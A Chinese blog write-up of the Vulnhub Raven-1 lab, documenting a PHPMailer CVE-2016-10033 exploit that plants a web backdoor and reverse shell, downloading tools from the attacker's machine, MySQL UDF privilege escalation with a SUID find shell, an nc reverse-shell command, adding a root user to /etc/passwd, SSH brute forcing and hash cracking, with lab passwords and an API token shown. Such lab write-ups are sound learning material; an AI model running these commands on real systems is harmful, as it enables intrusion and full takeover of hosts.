• 【甄选靶场】Vulnhub百个项目渗透——项目十五:Raven-1(wp利用,UDF提权)


    Vulnhub百个项目渗透

    Vulnhub百个项目渗透——项目十五:Raven-1(wp利用,UDF提权)
    靶场地址


    🔥系列专栏:Vulnhub百个项目渗透
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年9月17日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!


    前言

    本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


    一、梳理流程

    1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
    2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
    3. 二次收集(基于已得到的服务或者主机再次信息收集)
    4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
    5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

    二、使用步骤

    1.服务发现

    ifconfig
    nmap -sP 192.168.247.0/24
    nmap -sS -sV -A -T5 192.168.247.144
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    发现开启了ssh,web以及一个rpcbind服务
    先对web页面进行突破

    2.web突破

    1.页面信息收集

    在这里插入图片描述

    首先页面所有东西乱点一通,查看源码,发现了第一个flag,这里我直接用的crtl+f搜索页面文本,因为眼睛真的会谢。。
    然后还发现了一些php文件

    2.目录信息挖掘

    dirb http://192.168.247.144 
    发现了wordpress的文件夹,说明这是个wp站点,我们一会要用wpscan以及awvs一起扫描
    还发现了vendor文件夹,这是默认目录,多搞几个wp的站就晓得了
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    在这里插入图片描述

    这么多目录明眼人以看就会看oath以及readme.md以及version文件
    因为其他的都没见过
    实际情况也不会有变态把文件名起的很奇怪,因为他自己也要用不是?

    在这里插入图片描述

    phpmailer,OKOK

    在这里插入图片描述

    版本号也知道了

    searchsploit phpmailer 5.2.16
    
    • 1

    在这里插入图片描述

    3.脆弱服务利用

    搜一哈exp,看看kali有没有,只要kali能搜到,那肯定能整,但是更具体的还是要去谷歌搜,因为kali的能不能用还是两说,直接谷歌也方便

    谷歌:PHPMailer 5.2.16 exp
    CVE-2016-10033
    点开网页发现exp编号:	
    
    kali输入
    searchsploit 40974
    cp /usr/share/exploitdb/exploits/php/webapps/40974.py .  ---这里有个点
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    改改参数,我红框里这些要改。根据漏洞库官方给出的用法(上图)

    在这里插入图片描述
    在这里插入图片描述

    4.获取shell

    执行exp
    python3 40974.py
    如果环境报错按照环境安装:
    需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。
    
    访问http://192.168.247.144/contact.php,此时就会生成后门文件rong.php
    本地开启监听:nc -vlp 6666
    访问:http://192.168.247.144/rong.php
    获得反弹shell!
    python -c 'import pty;pty.spawn("/bin/bash")'
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    在这里插入图片描述

    2.内网突破

    1.再次信息收集

    首先先上传3个提权辅助
    本地打开python服务,靶机下载kali文件

    python -m http.server 8082
    wget http://192.168.247.129:8082/linpeas.sh```
    
    • 1
    • 2

    目录一顿翻找,发现第三个flag以及一个wp-config文件,一般来说里面会有数据库的账号密码,那就在这个里面搜索一下

    grep "password" -rn wp-config.php
    
    • 1

    在这里插入图片描述

    说在第28行

    在这里插入图片描述

    得到了账号密码,并且数据库是root运行,那么就清楚了,可以试试udf提权

    2.再次脆弱服务利用

    1.UDF提权
    1)查看是否能udf提权:条件1
    	条件1:查看是否是root权限运行
    	ps aux | grep root   ---查看mysql进程信息
    	条件2:查看mysql版本
    	dpkg -l | grep mysql   --查看历史安装包版本 5.5.6
    
    
    2)首先看一下是否满足写入条件:条件2
    	show global variables like 'secure%';
    	+------------------+-------+
    	| Variable_name    | Value |
    	+------------------+-------+
    	| secure_auth      | OFF   |
    	| secure_file_priv |       |
    	+------------------+-------+
    	2 rows in set (0.00 sec)
    	1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
    	2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
    	3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
    	如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
    
    3)查看插件目录:条件3
    	show variables like '%plugin%';
    	+---------------+------------------------+
    	| Variable_name | Value                  |
    	+---------------+------------------------+
    	| plugin_dir    | /usr/lib/mysql/plugin/ |
    	+---------------+------------------------+
    	1 row in set (0.00 sec)
    
    	查看能否远程登陆:
    	use mysql;
    	select user,host from user;
    	+------------------+-----------+
    	| user             | host      |
    	+------------------+-----------+
    	| root             | 127.0.0.1 |
    	| root             | ::1       |
    	| debian-sys-maint | localhost |
    	| root             | localhost |
    	| root             | raven     |
    	+------------------+-----------+
    	5 rows in set (0.00 sec)
    	发现这里root用户不允许远程登陆,因此不能利用MSF提权。
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45

    然后这是5.x的版本,我们直接搜5.x的UDF提权
    UDF提权,简单来说就是做一个新的函数放到插件库里,因为sql具有root权限,所以新建的函数就是root

    1)准备exp:
    	谷歌搜索:mysql 5.x UDF exp
    	searchsploit 1518.c
    	cp /usr/share/exploitdb/exploits/linux/local/1518.c .
    	gcc -g -c 1518.c   ---GCC编译.o文件
    	gcc -g -shared -o rong.so 1518.o -lc
    	以上在kali操作
    	
    	-g 生成调试信息
    	-c 编译(二进制)
    	-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
    	-o:执行命令后的文件名
    	-lc:-l 库 c库名
    
    2)上传exp
    	wget http://192.168.247.129:8080/rong.so
    	show databases;
    	use mysql
    	select database();
    
    3)创建表
    	进入数据库创建数据表rong:
    	create table rong(line blob);
    	
    4)插入数据
    	插入数据文件:
    	insert into rong values(load_file('/tmp/rong.so'));
    	
    5)导出并新建存储函数
    	rong表成功插入二进制数据,然后利用dumpfile函数把文件导出,
    	outfile 多行导出
    	dumpfile一行导出
    	outfile会有特殊的转换,而dumpfile是原数据导出!
    	新建存储函数:
    	select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so';
    
    6)创建函数
    	创建自定义函数do_system,类型是integer,别名(soname)文件名字
    	create function do_system returns integer soname 'dayu.so';
    
    7)查询创建是否成功
    	select * from mysql.func;
    	
    8)借调自定义函数给别的常用命令,使其root权限
    	调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
    	select do_system('chmod u+s /usr/bin/find');
    
    9)执行命令
    	执行find命令
    	使用find执行 shell
    	touch rong    创建一个新的文件夹/没啥用,就是方便使用find命令
    	find rong -exec "/bin/sh" \;
    	或者:find rong -exec "id" \;
    	cd /root
    	cat flag4.txt
    	flag4{df2bc5e951d91581467bb9a2a8ff4425}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56

    在这里插入图片描述
    在这里插入图片描述

    扩展

    UDF拓展知识点:

    1)nc反弹shell: select do_system(‘nc -nv 10.211.55.28 6677 -e
    /bin/bash’);

    2)创建root权限用户 openssl passwd dayu1 YpIR51FecR9AY select do_system(‘echo
    “root:Ef8ipBmhp5pnE:0:0:root:/root:/bin/bash” >> /etc/passwd’); su
    dayu
    root❌0:0:root:/root:/bin/bash

    2.wpscan利用
    wpscan --url http://10.211.55.12/wordpress -eu --api-token kJ4bhZCgveCcoGJPER7AOsHJTeFDf90Wfj9zu0V6asc
    
    • 1

    在数据库wordpress的wp_posts表中发现: flag3{afc01ab56b50591e7dccf93122770cd2}
    flag4{715dea6c055b9fe3337544932f2941ce}

    3.用户枚举
    
    内网信息收集用户名爆破
    1)linpeas脚本枚举用户:michael、steven
    hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 10.211.55.12 ssh
    [22][ssh] host: 192.168.247.144   login: michael   password: michael
    
    2)数据库枚举密码值爆破
    数据库枚举发现信息:
    mysql -uroot -pR@v3nSecurity 
    show databases;
    use wordpress
    show tables;
    select * from wp_users;
    michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
    steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
    
    john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt
    pink84           (steven)
    
    steven
    pink84
    ssh steven@10.211.55.12
    
    sudo -l   
    User steven may run the following commands on raven:
        (ALL) NOPASSWD: /usr/bin/python
    发现是python给与的最高权限!
    sudo python -c 'import pty; pty.spawn("/bin/bash")'
    这时候用sudo执行python就能拿到root的shell!
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
  • 相关阅读:
    若依-整合WebSocket
    洗衣洗鞋店小程序对接水洗唛打印,一键预约,支付无忧
    netty
    YOLOv8学习
    数据分析 - CASE专题
    运算放大器学习笔记
    JS defineProperty详解
    Dubbo服务控制台Dubbo Admin配置
    短视频矩阵系统源代码开发搭建分享--代码开源SaaS
    SpringBoot如何使用Swagger2构建API文档呢?
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/126902424